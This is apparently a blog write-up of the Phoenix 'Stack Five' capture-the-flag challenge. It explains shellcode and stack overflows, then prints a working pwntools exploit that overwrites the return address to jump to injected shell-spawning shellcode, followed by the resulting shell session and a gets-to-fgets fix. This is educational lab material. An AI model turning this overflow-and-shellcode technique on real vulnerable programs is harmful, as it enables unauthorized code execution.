6 minute read

The Challenge

The challenge’s description and source code are located here. It and all other Phoenix binaries are located in the /opt/phoenix/amd64 directory. A previous post describes how to set up the Virtual Machine for these challenges, if that hasn’t been done already.

The File

As in the previous challenges, the Stack Five file is an ELF 64-bit LSB executable with symbols included and compiled with x86-64 architecture. Please refer to the Stack Three challenge writeup for an explanation of how the properties are examined and the implications thereof.

Objective

The goal is to have the program pop a shell with an execve(“/bin/sh”) system call. This will be done by providing carefully crafted input into the start_level()’s buffer.

Popping a shell on a compromised machine is very important for attackers. A shell grants them the ability to traverse the file system to read and update files. They can also potentially escalate privileges within a shell to get full control of the machine’s system and configurations.

Related Concept

Understanding the Stack and ASLR is key.

We now introduce the notion of shellcode. As most know, computers operate in binary, where predefined sequences of 0’s and 1’s in binary code have specific meaning. However, such extended sequences are a challenge for humans to parse and understand.

That is why Assembly languages have been developed. They are human-readable, with each line being a relatively simple instruction and mapping nearly directly to a processors’ binary code and hardware. It should be noted that while there are multiple, the most common ones are x86, x86_64, and the more recent ARM architecture family.

Those used to programming in higher-level languages such as C, Python, Java, etc may be surprised to learn that their code isn’t compiled or interpreted directly into binary for execution. Instead, they are compiled into the version of Assembly that the computer’s processor uses. That Assembly in turn is converted by an Assembler program into the binary a processor will execute.

Source: Assembly Language

When exploiting vulnerabilities, attackers usually want to have the compiled binary execute a command. This can be done either by redirecting control flow to an already-included function (as illustrated in the Stack Three and Stack Four challenges) or to attacker-injected lines of compiled Assembly. The latter is commonly referred to as Shellcode.

The Bug

All of Stack Five’s data is stored on the stack, with the start_level() function’s buffer receiving console input. Excess data will spill past the buffer’s end downward in the stack and affect the return address stored in the start_level() function’s stack frame. This will allow the redirection of execution flow to the start of the buffer, where the attacker planted the Shellcode needed to pop a shell.

The Exploit

We first check if the binary has any anti-exploitation defenses

nathan@nathan-VirtualBox:~/Desktop/Exploit-Education-CTFs/Phoenix/stack-five$ checksec /opt/phoenix/amd64/stack-five
[*] '/opt/phoenix/amd64/stack-five'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    RPATH:    b'/opt/phoenix/x86_64-linux-musl/lib'

None are enabled. Notice the PIE field indicating ASLR is disabled and the Stack field indicating the binary has no stack canaries. This means that the stack-five file’s functions and data will be in the same memory locations each time it is executed and that stack frames’ return addresses can be overwritten. Lovely.

Next up: overwriting the start_level() functions’ return pointer in the corresponding stack frame. This will allow for hijacking control flow execution when the start_level() function ends. To achieve this, we will need to determine the appropriate length of the input to be fed into the buffer.

We follow the approach detailed in the Stack Four challenge writeup with the following starter code

nathan@nathan-VirtualBox:~/Desktop/Exploit-Education-CTFs/Phoenix/stack-five$ cat exploit.py
#!/usr/bin/env python3
#
from pwn import *
#
# Need to set the pwntools "context" context for controlling
# many settings in pwntools library's capabilities
#
# The context is for little-endian AMD64 architecture running on Linux OS
context.update(arch='amd64', os='linux')
#
#################################################################################
#
# Preparing the exploit's payload
payload = cyclic(150) 
#
#################################################################################
#
# Launching exploit!
print("Launching The Stack Five Exploit!")
#
# The env={} to ensure the execution environment doesn't have any environmental variables
# This is comprehensively explained in the writeup to the "Stack Two" Phoenix challenge
p = process(["stack-five"], env={}, cwd="/opt/phoenix/amd64")
gdb.attach(p,'''
echo "hi"
b start_level
''')
#
# Sending the command-line inputted payload into the executing stack-three process
p.sendline(payload)
#
# Making the process interactive so users can
# interact with the process via its terminal!
p.interactive() 

And opening tmux

nathan@nathan-VirtualBox:~/Desktop/Exploit-Education-CTFs/Phoenix/stack-five$ tmux

Launching the code, halting at the start of the beginning of the start_level() function per the attached, and stepping through to the very end, we get

Looks like our cyclical input. Let’s check. Per the RapidTables hex-to-binary converter, we see that 0x6261616b6261616a in hex corresponds to the cyclical baakbaaj ASCII text. Exactly what is needed!

So how large is the offset?

pwndbg> cyclic -l 0x6261616a
136

136 characters. Let’s see if we can tweak the payload to get complete control over the return address. The line initializing the payload is now

payload = cyclic(136) + p64(0xdeadbeef)

Time for a field test. Opening tmux, launching the exploit, and stepping through the start_level() function in Pwndbg, we get

Perfect. It’s now time to specify where the execution control flow needs to be redirected to. Once we determine the destination memory address, it will replace the payload’s 0xdeadbeef address.

So what will it be? The location of the shell-opening shellcode. The only place in the compiled Stack Five binary with enough space available is the start_level() function’s buffer. This is the same buffer that our payload is loaded into.

Launching the exploit again with the attached debugger, we enter the start_level() function and load in the shellcode by executing the gets(buffer) call. Because the ASLR being disabled makes the loaded payload’s location remain static, we can inspect the stack to determine its memory location.

Aha! It starts at 0x7fffffffed40. The payload is thus

payload = cyclic(136) + p64(0x7fffffffed40)

Next, we need to prepare the shellcode that will be placed at the buffer’s start. Pwntools conveniently has the shellcraft module for generating it in a single line:

# The asm() instruction compiles the shellcode 
# and provides its binary string 
shellcode = asm(shellcraft.sh())

This was placed into the exploit Python file, along with a print(hexdump(shellcode)) command for inspecting the results. Executing it, we get

Great. We now need to place the shellcode at the payload’s beginning. The final payload is made with the following lines:

# Overriding the stack frame’s return address
payload = cyclic(136) + p64(0x7fffffffed40) 
#
# Replace the first portion of the payload with the shellcode
payload = shellcode + payload[len(shellcode):]

Removing the gdb.attach() line that connected the debugger to the executing Pwntools process and launching the final exploit, we get

nathan@nathan-VirtualBox:~/Desktop/Exploit-Education-CTFs/Phoenix/stack-five$ ./exploit.py
Launching The Stack Five Exploit!
[!] Could not find executable 'stack-five' in $PATH, using '/opt/phoenix/amd64/stack-five' instead
[+] Starting local process '/opt/phoenix/amd64/stack-five': pid 20434
[*] Switching to interactive mode
Welcome to phoenix/stack-five, brought to you by https://exploit.education
$ ls
final-one    format-one    heap-one    net-one       stack-four    stack-two
final-two    format-three  heap-three  net-two       stack-one    stack-zero
final-zero   format-two    heap-two    net-zero    stack-six
format-four  format-zero   heap-zero   stack-five  stack-three
$ whoami
nathan

The code can be found in the Github repository for Phoenix challenge solutions.

Remediation

The risk of such a bug would be drastically reduced with the abandonment of memory-insecure languages such as C and C++.

If there is no choice but to them, the gets() function needs to be replaced with fgets(). Previous Phoenix Stack challenges explain it is preferable.

The source code’s gets(buffer); line should thus be

fgets(buffer, 128, stdin);

Until next time!

Comments